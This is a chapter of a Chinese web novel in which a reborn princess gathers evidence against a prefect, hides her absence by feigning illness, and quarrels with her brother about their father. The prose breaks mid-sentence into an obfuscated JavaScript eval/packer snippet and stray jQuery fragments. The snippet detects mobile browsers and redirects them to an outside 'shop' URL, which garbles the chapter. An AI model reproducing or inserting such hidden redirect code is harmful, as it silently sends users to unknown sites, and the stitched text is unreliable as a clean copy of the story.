27. 忮忌

作品:《重生后和死敌相爱了

    “你做得很好。”赵延意将小册子收好,也一并收敛了心底的惊疑,“这本账册,还有你说的话,都至关重要。”


    她抬眸看向张婉吟,语气多了几分郑重:“我向你保证,只要此事了结,我必为你姨母一家翻案,还你们清白。在此之前,我会派人暗中保护你,张府那边,你暂且如常,莫要露了破绽。”


    张婉吟紧绷的肩膀终于松弛下来,眼眶又泛起湿润,却不再是因为悲伤,而是压抑多年的冤屈终于有了出口的释然。


    她屈膝行礼,声音带着哽咽却异常坚定:“民女信郡主。日后郡主有任何差遣,民女万死不辞。”


    赵延意抬手扶起她,刚要开口,门外却忽然传来朝露极轻的叩门声。


    “有人来了。”朝露压低的声音从外头传来,“像是张府的人,往这边来了。”


    张婉吟脸色骤变,慌乱地看向赵延意。赵延意却异常镇定,迅速起身:“别慌,你只当是来此处上香,如常回府就是。切记,今日之事,一字都不可对旁人提及,包括张府的任何人。”


    她话音刚落,便拉着朝露从后门快步离开。张婉吟定了定神,连忙将油纸揉碎藏进炭盆,看着它化为灰烬,才整理好衣襟,故作从容地打开前门。


    门外果然是张府的管家,神色恭敬却带着审视:“表小姐,大人让奴才来寻您,说府中有要事商议,请您即刻回府。”


    张婉吟压下心头的慌乱,淡淡应道:“知道了,我这就随你回去。”


    她转身回望了一眼空荡荡的木屋,檀香依旧袅袅,却已不见方才那人的身影。


    这场秘谈,像一场转瞬即逝的梦,却已然改变了她的命运。


    而此刻,赵延意与朝露已骑马隐入山林。寒风掀起她的斗篷下摆,也吹动了她心底沉郁的思绪。


    张知府此人,确实不可再留,可现在更重要的,是他送出的那封密信。张婉吟那里恐怕已经探不出更多消息,那便只能查探张府中人近日出城的行踪了。


    新靠山…他会选择去找谁…直接将此密信上呈陛下?还是送予其他藩王?


    尽管她并不想承认,可如今的大景,任凭其他藩王的势力合而为一,也敌不过父亲统领的南境铁军。


    唯一需要忌惮的,也就是皇城中的那位了。


    思及于此,赵延意轻夹马腹,黑马扬蹄疾驰的速度又快几分。


    无论张知府打的什么算盘,她都必须抢在密信送达之前截下,绝不能容新的变故滋生。至于晏靖安那边的进展…


    七日…看来她也无需再等他这所谓的七日之约了。筹码已经到手,那疯子手中的证据,对她而言,就是可有可无的东西。


    锦上添花自然好,但主动权重新归于她手,他就绝无可能再有威胁到她的机会。


    一抹轻浅的笑意漫上赵延意的眼睛,回想起昨日同晏靖安的密谈,受人牵制的别扭在此刻消匿,她终于有了扳回一局的快感。


    “郡主,”朝露的声音逆着风声传来,“接下来,要如何做?”


    赵延意勒了勒缰绳,黑马速度稍缓,她抬眼望向天际:“先回府。总不能归得太迟,惹人生疑露了馅,反倒误了大事。”


    *


    沁水园内,暖阳晒尽了草木上凝结的潮湿水汽,日光爬过檐角,洒下点点微光。可守在园门内的侍女们却愈发焦灼,彼此对视间,都能看到对方眼底的慌乱。


    “怎么还没回来?”一名年轻侍女忍不住压低声音,语气里满是不安,“这都快近午了,若是王爷或王妃突然驾临,我们可怎么应付?方才王爷身边的小厮又来问过郡主的病情,我好不容易才用郡主刚喝了药睡熟搪塞过去。”


    “慌什么!”资历深的侍女斥了她一句,可自己的声音也带着不易察觉的颤抖,“郡主素来周全,定是路上耽搁了。我们只需守好院门,按郡主先前的吩咐应答,万万不可自乱阵脚。真要是王爷来了,便说郡主药性刚发,不宜惊扰,实在不行,我去引着王妃那边的人周旋,你们守好卧房,绝不能让人进去查看。”


    话音刚落,花圃一角的白墙处就传来点窸窸窣窣的声音,抬眼一看,才发现是一人从园外翻墙而入。


    兜帽盖脸,认不清是何人,可等她上了墙头,又拉上另一人后,侍女们才确认了来者的身份。


    “郡主!”侍女压低声音,可语气里的雀跃却半点也压不住,“您终于回来了!”


    赵延意微微颔首,抬手掀下兜帽,温声安抚道:“你们做得极好。方才可有人来过?”


    资历深的侍女连忙回话:“回郡主,晨间世子来过一回,快近午时,王爷身边的小厮也来过一趟,问您的病情,奴婢都按您的吩咐搪塞过去了。”


    闻言,赵延意轻声叹了口气。


    哥哥来寻她,倒是没什么,可父亲遣人来问,就未必真是关心她的病情了。毕竟先前书房那一遭,父亲已然察觉她行事有异,如今这般试探,多半是存了疑心。


    她抬手揉了揉眉心,吩咐道:“同哥哥传话吧,就说我病情稍缓,已经能起身了,想见见他。”


    “是。”侍女应声退下。


    赵延意携着朝露快步走进卧房,屋内炭火依旧旺盛,苦艾汤的药香弥漫在空气中,早已按她事先安排备好。她褪去沾着寒气的斗篷,换上一身素色寝衣,又对着铜镜轻咳几声,刻意让面色添了几分病中的倦怠。


    她斜倚在床榻上,拉过锦被盖在膝头,向朝露轻声道:“朝露,替我去向府中的暗卫传话。叫几人乔装成市井流民,潜入张府外围,紧盯所有下人动向,重点查张知府的贴身小厮与管家,务必摸清近日有无下人奉命出城,去往何处,携带何物。尤其是那封密信,无论代价如何,都务必要将它截下。”


    “是,我这去安排。”朝露应下后,不敢耽搁,悄无声息地退出卧房,掩上房门。


    屋内只剩赵延意一人,她靠在软枕上,闭上眼看似静养,脑中的思绪却如乱麻般缠绕不休。


    不多时,门外传来轻缓的脚步声,伴随着侍女的通传:“郡主,世子来了。”


    赵延意缓缓睁眼,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069876|192615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重新换上病弱之态,轻咳一声道:“让他进来。”


    房门被轻轻推开,赵瑞元快步走进来,眉宇间满是关切。他走到床榻边,见赵延意面色苍白、神态倦怠,不由得放缓了语气:“阿意,你身子好些了吗?”


    赵延意微微颔首,声音带着几分病中的沙哑:“劳哥哥挂心,已好些了,只是还觉得有些乏力。”


    她示意侍女退下,屋内只剩兄妹二人,气氛一时安静下来。


    赵瑞元看着她,欲言又止,眼底藏着一丝疑虑。他晨间便觉得阿意避而不见蹊跷,如今见她虽面色苍白,却眼神清明,并无重病之人的昏沉,难道不过半日,她病就大好了?


    她到底在谋划些什么?为何在他面前也要伪装呢?


    他心底的疑惑更甚,可话到嘴边,终究还是没问出口。


    本想说些关切的话,可沉默许久后,他似是想起了什么,只沉声道:“你昨日,是不是去见晏靖安了?”


    赵延意猝不及防被他点破此事,也没想到他会突然提起晏靖安,一时间竟愣住了。


    而赵瑞元看透她的反应,难得在她面前流露出厉色:“阿意,你可知他是个怎样的人?你怎能与他走得这般近?”


    她知道的。比他赵瑞元知道的深得多。


    可她无从反驳,只能听着他继续说:“先前你同我说,第一面见他便心生厌恶,我信了。所以之后无论你对他做什么、说什么,哪怕是刻意刁难、言语针锋,我都装作看不见、不在乎,只当你是泄愤。可是阿意,你听好了,那晏靖安绝非他表面装出来的那般温润无害。你靠他太近,同他周旋,迟早会把自己弄得遍体鳞伤。”


    赵延意静静听着他半是担忧,半是训斥的话语,依旧沉默。直到她缓缓抬起眼,看到赵瑞元面上毫不掩饰的担忧,才开口道:“哥哥,我知道的。可有些事,我有我自己的打算,同他接触,自然也有我的用意。”


    “用意?”赵瑞元眉头拧得更紧,“他能有什么值得你图谋的?若你有所需,为何不直接来寻我?难道在你心里,我这个哥哥,还比不上一个外人吗?”


    看着神色焦急的赵瑞元,赵延意忽然觉得很累。


    可转念一想,现在这样,终究比前世那般兄妹离心、只剩沉默疏离要好上千倍万倍。


    她别开眼,轻声启唇道:“哥哥,你总该认清眼下的局势了。父王的谋划早已箭在弦上,可他自始至终,同你我透露过半分细节吗?”


    “你比我知道得更早,应当比我更清楚,他从来都不信任你,也不信任我。在他心里,最信得过的唯有他自己,其次,便是能助他达成大业的晏家。我们于他而言,不过是棋盘上的棋子,有用时便可倚重,无用时,便是可以舍弃的筹码。”


    “血脉亲情,在他的宏图霸业面前算不得什么。我不想做那枚被轻易舍弃的弃子,所以才要拼命给自己增添价值。而哥哥,你是世子,生来便有承继他一切的资格,可我不行。说真的,若你不是我的哥哥,我甚至会忮忌你…忮忌你生来就拥有这一切。”